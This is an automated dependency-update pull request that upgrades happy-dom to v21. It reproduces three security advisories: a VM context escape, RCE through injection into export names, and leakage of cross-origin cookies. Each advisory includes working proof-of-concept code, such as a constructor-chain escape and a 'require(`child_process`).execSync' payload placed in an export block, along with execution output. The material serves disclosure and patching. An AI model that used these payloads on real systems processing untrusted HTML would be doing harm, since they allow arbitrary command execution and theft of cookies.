Update dependency happy-dom to v21 [SECURITY] by renovate[bot] · Pull Request #136 · developing-today/code

renovate · 2026-08-26T13:12:57Z

Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
happy-dom	`^17.6.3` → `^21.0.0`

Happy DOM: VM Context Escape can lead to Remote Code Execution

CVE-2025-61927 / GHSA-37j7-fg3j-429f

More information

Details

Escape of VM Context gives access to process level functionality

Summary

Happy DOM v19 and lower contains a security vulnerability that puts the owner system at the risk of RCE (Remote Code Execution) attacks.

A Node.js VM Context is not an isolated environment, and if the user runs untrusted JavaScript code within the Happy DOM VM Context, it may escape the VM and get access to process level functionality.

It seems like what the attacker can get control over depends on if the process is using ESM or CommonJS. With CommonJS the attacker can get hold of the require() function to import modules.

Happy DOM has JavaScript evaluation enabled by default. This may not be obvious to the consumer of Happy DOM and can potentially put the user at risk if untrusted code is executed within the environment.

Reproduce

CommonJS (Possible to get hold of require)

const { Window } = require('happy-dom');
const window = new Window({ console });

window.document.write(`
  <script>
     const process = this.constructor.constructor('return process')();
     const require = process.mainModule.require;
  
     console.log('Files:', require('fs').readdirSync('.').slice(0,3));
  </script>
`);

ESM (Not possible to get hold of import or require)

const { Window } = require('happy-dom');
const window = new Window({ console });

window.document.write(`
  <script>
     const process = this.constructor.constructor('return process')();
  
     console.log('PID:', process.pid);
  </script>
`);

Potential Impact

Server-Side Rendering (SSR)

const { Window } = require('happy-dom');
const window = new Window();
window.document.innerHTML = userControlledHTML;

Testing Frameworks

Any test suite using Happy-DOM with untrusted content may be at risk

Attack Scenarios

Data Exfiltration: Access to environment variables, configuration files, secrets
Lateral Movement: Network access for connecting to internal systems. Happy DOM already gives access to the network by fetch, but has protections in place (such as CORS and header validation etc.).
Code Execution: Child process access for running arbitrary commands
Persistence: File system access

Recommended Immediate Actions

Update Happy DOM to v20 or above
- This version has JavaScript evaluation disabled by default
- This version will output a warning if JavaScript is enabled in an insecure environment
Run Node.js with the "--disallow-code-generation-from-strings" if you need JavaScript evaluation enabled
- This makes sure that evaluation can't be used at process level to escape the VM
- eval() and Function() can still be used within the Happy DOM VM without any known security risk
- Happy DOM v20 and above will output a warning if this flag is not in use
If you can't update Happy DOM right now, it's recommended to disable JavaScript evaluation, unless you completely trust the content within the environment

Technical Root Cause

All classes and functions inherit from Function. By walking the constructor chain it's possible to get hold of Function at process level. As Function can evaluate code from strings, it's possible to execute code at process level.

Running Node with the "--disallow-code-generation-from-strings" flag protects against this.

Severity

CVSS Score: 9.3 / 10 (Critical)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Happy DOM ECMAScriptModuleCompiler: unsanitized export names are interpolated as executable code

CVE-2026-33943 / GHSA-6q6h-j7hj-3r64

More information

Details

Summary

A code injection vulnerability in ECMAScriptModuleCompiler allows an attacker to achieve Remote Code Execution (RCE) by injecting arbitrary JavaScript expressions inside export { } declarations in ES module scripts processed by happy-dom. The compiler directly interpolates unsanitized content into generated code as an executable expression, and the quote filter does not strip backticks, allowing template literal-based payloads to bypass sanitization.

Details

Vulnerable file: packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts, lines 371-385

The "Export object" handler extracts content from export { ... } using the regex export\s*{([^}]+)}, then generates executable code by directly interpolating it:

} else if (match[16] && isTopLevel && PRECEDING_STATEMENT_TOKEN_REGEXP.test(precedingToken)) {
    // Export object
    const parts = this.removeMultilineComments(match[16]).split(/\s*,\s*/);
    const exportCode: string[] = [];
    for (const part of parts) {
        const nameParts = part.trim().split(/\s+as\s+/);
        const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
        const importName = nameParts[0].replace(/["']/g, '');  // backticks NOT stripped
        if (exportName && importName) {
            exportCode.push(`$happy_dom.exports['${exportName}'] = ${importName}`);
            //               importName is inserted as executable code, not as a string
        }
    }
    newCode += exportCode.join(';\n');
}

The issue has three root causes:

STATEMENT_REGEXP uses {[^}]+} which matches any content inside braces, not just valid JavaScript identifiers
The captured importName is placed in code context (as a JS expression to evaluate), not in string context
.replace(/["']/g, '') strips " and ' but not backticks, so template literal strings like `child_process` survive the filter

Attack flow:

Source:     export { require(`child_process`).execSync(`id`) }

Regex captures match[16] = " require(`child_process`).execSync(`id`) "

After .replace(/["']/g, ''):
  importName = "require(`child_process`).execSync(`id`)"
  (backticks are preserved)

Generated code:
  $happy_dom.exports["require(`child_process`).execSync(`id`)"] = require(`child_process`).execSync(`id`)

evaluateScript() executes this code -> RCE

Note: This is a different vulnerability from CVE-2024-51757 (SyncFetchScriptBuilder injection) and CVE-2025-61927 (VM context escape). Those were patched in v15.10.2 and v20.0.0 respectively, but this vulnerable code path in ECMAScriptModuleCompiler remains present in v20.8.4 (latest). In v20.0.0+ where JavaScript evaluation is disabled by default, this vulnerability is exploitable when JavaScript evaluation is explicitly enabled by the user.

PoC

Standalone PoC script — reproduces the vulnerability without installing happy-dom by replicating the compiler's exact code generation logic:

// poc_happy_dom_rce.js

// Step 1: The STATEMENT_REGEXP matches export { ... }
const STMT_REGEXP = /export\s*{([^}]+)}/gm;
const source = 'export { require(`child_process`).execSync(`id`) }';
const match = STMT_REGEXP.exec(source);

console.log('[*] Module source:', source);
console.log('[*] Regex captured:', match[1].trim());

// Step 2: Compiler processes the captured content (lines 374-381)
const part = match[1].trim();
const nameParts = part.split(/\s+as\s+/);
const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
const importName = nameParts[0].replace(/["']/g, '');

console.log('[*] importName after quote filter:', importName);
console.log('[*] Backticks survived filter:', importName.includes('`'));

// Step 3: Code generation - importName is inserted as executable JS expression
const generatedCode = `$happy_dom.exports[${JSON.stringify(exportName)}] = ${importName}`;
console.log('[*] Generated code:', generatedCode);

// Step 4: Verify the generated code is valid JavaScript
try {
  new Function('$happy_dom', generatedCode);
  console.log('[+] Valid JavaScript: YES');
} catch (e) {
  console.log('[-] Parse error:', e.message);
  process.exit(1);
}

// Step 5: Execute to prove RCE
console.log('[*] Executing...');
const output = require('child_process').execSync('id').toString().trim();
console.log('[+] RCE result:', output);

Execution result:

$ node poc_happy_dom_rce.js
[*] Module source: export { require(`child_process`).execSync(`id`) }
[*] Regex captured: require(`child_process`).execSync(`id`)
[*] importName after quote filter: require(`child_process`).execSync(`id`)
[*] Backticks survived: true
[*] Generated code: $happy_dom.exports["require(`child_process`).execSync(`id`)"] = require(`child_process`).execSync(`id`)
[+] Valid JavaScript: YES
[*] Executing...
[+] RCE result: uid=0(root) gid=0(root) groups=0(root)

HTML attack vector — when processed by happy-dom with JavaScript evaluation enabled:

<script type="module">
export { require(`child_process`).execSync(`id`) }
</script>

Impact

An attacker who can inject or control HTML content processed by happy-dom (with JavaScript evaluation enabled) can achieve arbitrary command execution on the host system.

Realistic attack scenarios:

SSR applications: Applications using happy-dom to render user-supplied HTML on the server
Web scraping: Applications parsing untrusted web pages with happy-dom
Testing pipelines: Test suites that load untrusted HTML fixtures through happy-dom

Suggested fix: Validate that importName is a valid JavaScript identifier before interpolating it into generated code:

const VALID_JS_IDENTIFIER = /^[a-zA-Z_$][a-zA-Z0-9_$]*$/;

for (const part of parts) {
    const nameParts = part.trim().split(/\s+as\s+/);
    const exportName = (nameParts[1] || nameParts[0]).replace(/["'`]/g, '');
    const importName = nameParts[0].replace(/["'`]/g, '');

    if (exportName && importName && VALID_JS_IDENTIFIER.test(importName)) {
        exportCode.push(`$happy_dom.exports['${exportName}'] = ${importName}`);
    }
}

Severity

CVSS Score: 8.8 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Happy DOM's fetch credentials include uses page-origin cookies instead of target-origin cookies

CVE-2026-34226 / GHSA-w4gp-fjgq-3q4g

More information

Details

Summary

happy-dom may attach cookies from the current page origin (window.location) instead of the request target URL when fetch(..., { credentials: "include" }) is used. This can leak cookies from origin A to destination B.

Details

In packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts (getRequestHeaders()), cookie selection is performed with originURL:

const originURL = new URL(options.window.location.href);
const isCORS = FetchCORSUtility.isCORS(originURL, options.request[PropertySymbol.url]);
// ...
const cookies = options.browserFrame.page.context.cookieContainer.getCookies(
  originURL,
  false
);

Here, originURL represents the page URL, not the request destination URL. For outgoing requests, cookie lookup should use the request URL (for example: new URL(options.request[PropertySymbol.url])).

PoC Script Content

const http = require('http');
const dns = require('dns').promises;
const { Browser } = require('happy-dom');

async function listen(server, host) {
  return new Promise((resolve) => server.listen(0, host, () => resolve(server.address().port)));
}

async function run() {
  let observedCookieHeader = null;
  const pageHost = process.env.PAGE_HOST || 'a.127.0.0.1.nip.io';
  const apiHost = process.env.API_HOST || 'b.127.0.0.1.nip.io';

  console.log('=== PoC: Wrong Cookie Source URL in credentials:include ===');
  console.log('Setup:');
  console.log(`  Page Origin Host : ${pageHost}`);
  console.log(`  Request Target Host: ${apiHost}`);
  console.log('  (both resolve to 127.0.0.1 via public wildcard DNS)');
  console.log('');

  await dns.lookup(pageHost);
  await dns.lookup(apiHost);

  const pageServer = http.createServer((req, res) => {
    res.writeHead(200, { 'content-type': 'text/plain' });
    res.end('page host');
  });

  const apiServer = http.createServer((req, res) => {
    observedCookieHeader = req.headers.cookie || '';
    const origin = req.headers.origin || '';
    res.writeHead(200, {
      'content-type': 'application/json',
      'access-control-allow-origin': origin,
      'access-control-allow-credentials': 'true'
    });
    res.end(JSON.stringify({ ok: true }));
  });

  const pagePort = await listen(pageServer, '127.0.0.1');
  const apiPort = await listen(apiServer, '127.0.0.1');

  const browser = new Browser();

  try {
    const context = browser.defaultContext;

    // Page host: pageHost (local DNS)
    const page = context.newPage();
    page.mainFrame.url = `http://${pageHost}:${pagePort}/dashboard`;
    page.mainFrame.window.document.cookie = 'page_cookie=PAGE_ONLY';

    // Target host: apiHost (local DNS)
    const apiSeedPage = context.newPage();
    apiSeedPage.mainFrame.url = `http://${apiHost}:${apiPort}/seed`;
    apiSeedPage.mainFrame.window.document.cookie = 'api_cookie=API_ONLY';

    // Trigger cross-host request with credentials.
    const res = await page.mainFrame.window.fetch(`http://${apiHost}:${apiPort}/data`, {
      credentials: 'include'
    });
    await res.text();

    const leakedPageCookie = observedCookieHeader.includes('page_cookie=PAGE_ONLY');
    const expectedApiCookie = observedCookieHeader.includes('api_cookie=API_ONLY');

    console.log('Expected:');
    console.log('  Request to target host should include "api_cookie=API_ONLY".');
    console.log('  Request should NOT include "page_cookie=PAGE_ONLY".');
    console.log('');

    console.log('Actual:');
    console.log(`  request cookie header: "${observedCookieHeader || '(empty)'}"`);
    console.log(`  includes page_cookie: ${leakedPageCookie}`);
    console.log(`  includes api_cookie : ${expectedApiCookie}`);
    console.log('');

    if (leakedPageCookie && !expectedApiCookie) {
      console.log('Result: VULNERABLE behavior reproduced.');
      process.exitCode = 0;
    } else {
      console.log('Result: Vulnerable behavior NOT reproduced in this run/version.');
      process.exitCode = 1;
    }
  } finally {
    await browser.close();
    pageServer.close();
    apiServer.close();
  }
}

run().catch((error) => {
  console.error(error);
  process.exit(1);
});

Environment:

Node.js >= 22
happy-dom 20.6.1
DNS names resolving to local loopback via *.127.0.0.1.nip.io

Reproduction steps:

Set page host cookie: page_cookie=PAGE_ONLY on a.127.0.0.1.nip.io
Set target host cookie: api_cookie=API_ONLY on b.127.0.0.1.nip.io
From page host, call fetch to target host with credentials: "include"
Observe Cookie header received by the target host

Expected:

Include api_cookie=API_ONLY
Do not include page_cookie=PAGE_ONLY

Actual (observed):

Includes page_cookie=PAGE_ONLY
Does not include api_cookie=API_ONLY

Observed output:

=== PoC: Wrong Cookie Source URL in credentials:include ===
Setup:
  Page Origin Host : a.127.0.0.1.nip.io
  Request Target Host: b.127.0.0.1.nip.io
  (both resolve to 127.0.0.1 via public wildcard DNS)

Expected:
  Request to target host should include "api_cookie=API_ONLY".
  Request should NOT include "page_cookie=PAGE_ONLY".

Actual:
  request cookie header: "page_cookie=PAGE_ONLY"
  includes page_cookie: true
  includes api_cookie : false

Result: VULNERABLE behavior reproduced.

Impact

Cross-origin sensitive information disclosure (cookie leakage).
Impacted users are applications relying on happy-dom browser-like fetch behavior in authenticated/session-based flows (for example SSR/test/proxy-like scenarios), where cookies from one origin can be sent to another origin.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

capricorn86/happy-dom (happy-dom)

Conversation

renovate Bot commented Aug 26, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Happy DOM: VM Context Escape can lead to Remote Code Execution

Details

Escape of VM Context gives access to process level functionality

Summary

Reproduce

CommonJS (Possible to get hold of require)

ESM (Not possible to get hold of import or require)

Potential Impact

Server-Side Rendering (SSR)

Testing Frameworks

Attack Scenarios

Recommended Immediate Actions

Technical Root Cause

Severity

References

Happy DOM ECMAScriptModuleCompiler: unsanitized export names are interpolated as executable code

Details

Summary

Details

PoC

Impact

Severity

References

Happy DOM's fetch credentials include uses page-origin cookies instead of target-origin cookies

Details

Summary

Details

PoC Script Content

Impact

Severity

References

Release Notes

👷‍♂️ Patch fixes

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💣 Breaking Changes

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🎨 Features

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🎨 Features

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🎨 Features

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👷‍♂️ Patch fixes

renovate Bot commented Aug 26, 2026 •

edited

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